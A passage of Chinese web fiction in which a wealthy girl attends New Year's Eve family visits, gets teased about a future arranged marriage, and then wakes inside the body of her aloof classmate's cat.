除夕是这样的,来家拜访人最多的一天,作为长孙女,沈初柠必须要露脸。
也不能和之前那样懒散样了。沈初柠洗了把脸,稍微收拾了下自己就下楼。
客厅里已经坐了几位长辈,都是沈家生意上的重要伙伴或世交。
沈初柠老实叫人。
其他长辈也笑着打招呼:
“柠柠都长这么大了!真是女大十八变啊!”
“上次见还是个小丫头呢,现在出落得这么标致了。”
……
其实去年他们就是这么说的。
沈初柠心里虽这么腹诽,面上却依然挂着得体的微笑,还是要装一装的。
沙发上坐着几人,有几个看上去是同龄。不过同龄人这么多,她也不是个个都熟。
虞灿秦宋也在,两人坐一个沙发,看着还能再挤挤,沈初柠就直接过去。
秦宋面色发白,唇色暗淡。寒假后秦爸就没有再限制他玩手机的次数,像要把上学期间失去的时间都补回来似的,秦宋这几天都是凌晨睡,凌晨起。
沈初柠连带着几次也被他带得这样,有好几次要怀疑她是不是快跟着猝死。
见了她,秦宋:“呦,起挺早。”
“一半一半吧。”沈初柠打了个哈气,靠着虞灿的肩上眯眼睡觉。
长辈在那谈天说地,小辈也不能直接走。
秦宋又困又无聊,玩手机必然挨他爸一顿训,有目光打量了遍周围环境。
其实也没什么好看的,他来这次数不少,里里外外都看了个遍。对面坐着和他不熟的人,性别相同,过去打招呼说话也不算突兀。
但瞧着这冷冰冰的脸。脚步就有点止住,总得对自己好点,万一对方懒得搭理就尴尬了。
无聊就开始没话找话。
秦宋用肩膀推推沈初柠。
“干嘛?”
他下巴朝前面努了努。
“怎么样?你以后的联姻对象。”
沈初柠蹙起了眉,她哪来的联姻对象?
“大哥?我还未成年。”
“这不说以后吗?听说是藤校的,反正各方面都过得去关,我听我爸妈说你俩很有可能。”
哪来的道听途说。
旁边的虞灿也跟着“嗯”了声。
秦宋胡说八道尚能理解,虞灿就不可能跟着他胡言乱语了。
“秦叔秦婶虞叔虞婶都这么八卦?”
秦宋耸耸肩。
沈初柠这时候开始有些清醒,睁着眼朝对面望了过去。
对面与他们同辈的有几个,不过性别为男的只有一。还有的估计是还没到。
沈初柠和那人对视上,然后慢吞吞挪了视线。
“都大学了,三岁一鸿沟,感觉没什么共同话题。我也不喜欢太冷的,他看着就不是喜欢说话的。”
“你不喜欢太冷的?”秦宋压低声音。毕竟蛐蛐人家,总不能明目张胆。
“这不废话,你喜欢啊?”
秦宋张嘴似乎想说什么,最后没开口。不过从表情上看显然不可置信。
“我就喜欢。”
沈初柠沈初柠一脸对方是受虐癖地看了他一眼,不过还是要尊重他人喜好。
也没再思考,她继续靠虞灿身上闭目养神。
联姻这种事没必要现在已人忧天的,沈初柠觉得只要未来不把黄毛带回家,她家里人估计也不会逼她什么。
——
除夕夜倒没其他人在,上门拜访的人下午三三两两离了个干净,沈宅全是自家人在场。
偌大的宅邸可算是安静下来,沈初柠也不用端着装出一副淑女的姿态。
管家指挥佣人布置,从中午到年夜饭忙个不停。
晚上八九点的时候班级群里就开始闹腾。
手机震动个不停,沈初柠点开一看,群里已经刷了几百条消息。秦宋带头在群里发红包,金额不大,但抢的人不少。
一般运气王就要发红包。
刚巧不巧,沈初柠就仅抢了一个,还成了那个几十挑一。
沈初柠:“……”
是真背。
发了与之前同等金额的红包,没再继续。
往年都是坐楼下客厅里跨年,今年倒是比沈昊澈,沈茉两小孩都困得早。
可能是昨天通宵的缘故。
打着哈气和他们告别,定了个23.55的闹钟,先回床上睡了一觉。
再睁眼,眼前景象倒是换了一幕。
眼前是一只手,骨节分明,且拿着一根猫条。
大概是除夕已至,额外奖励的饭后甜点。
但沈初柠不是猫,吃不来猫猫最爱,怕许屿将食物直接塞她嘴里,轻车熟路三两下跑开多床底。
许屿喊了几声猫的名字,见它还是不出来也不勉强。讲东西扔垃圾桶,出去洗了个手。
已经是习以为常。猫突然犯病隔几天就有,有时候极其爱吃猫粮,有时候碰都不碰,去了医院检查又说没什么事,医生只是叮嘱快满
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一岁可以绝育。
会不会是快要发情的问题?
许屿思考要不要给她非猫道主义的单方面绝育。
沈初柠在床底吃完一包麻辣小鱼干。
是放假前她偷偷塞许屿书包里的。
藏的隐秘。
等回来后趁他不注意又偷偷取出来囤在床底下,连续好几天这么做,囤了不小的一笔物资。足够她度过一整个寒假。
而床板缝隙小,许屿平时打扫不会关注那么,属于沈初柠的专属囤货地点,不过随着猫年龄上涨,猫身日益膨胀,近期她感觉那缝隙怪难钻。
吃完一包后没贪心,用偷渡过来的猫砂掩盖,沈初柠站远点散散味,等差不多了才重新钻了出去。
不知道这窝点什么时候被端。
某天被许屿发现了他会揍猫吗?
反正一顿训是逃不了的。也不知道到时候是她挨训还是身体的另一个猫魂。
如果是另一个猫魂,沈初柠为它默哀。
不好意思猫兄,来日若是您受苦,必将一堆猫条奉上。
——
沈初柠从床底出来时,许屿已经不在屋内。
正疑惑着,房门便被推开。
许奶奶留给许屿的房子算不上大,比当初李秀兰那的储物间也就多个十平米左右,一眼就能纵观全屋格局。
许屿提着包装袋进屋。
沈初柠跑过去看,跳在桌上,看见那是个外卖。
除夕大多数店面都关了去过年,只剩了零星几家饭店。
也许因为即将新年,许屿没有一桶泡面应付了事,点的外卖倒比以往多了些,汤圆,鱼,一些过年必不可少的菜品。
外面天寒地冻,沈初柠有着绒毛作遮挡,起初不觉得冷,看向他微微泛红的指节,才意识到原来屋内别说是地暖,连空调都没安装一个。
拆了外卖包装,许屿发现原先还算活泼的猫突然在一旁一动也不动。
以为是饿。毕竟晚饭还没吃,摆在一旁的猫粮也不见得动。
许屿先夹了块鱼肉喂给它吃。
以往此类重油重盐的不会给猫。难得过年,偶尔尝一口应该也没事。
沈初柠凑过去尝,却不想脚一个打滑,在桌上摔的四仰八叉。
作为一个平衡力超绝的猫,简直就是奇耻大辱。实觉有些丢人,沈初柠不动装死。
忽闻头顶传来一声轻笑。
那声音很轻,像羽毛拂过心尖。
她小心翼翼地睁开一只眼睛,从仰躺的角度望上去,许屿正低头看着她。
那双好看的眼睛里,此刻漾开浅浅的笑意。唇角微微上扬,勾起一个极淡的弧度。
作为南华众所周知的高岭之花。沈初柠基本是没怎么见到许屿笑的,或许这几个月里厌世的情绪不再那么明显突出,但终归气场还是冷的。
虽说目前的情况来讲这很可能是嘲笑,但不妨碍看得沈初柠晕头转向。
然后啪叽,从桌上掉在了地上。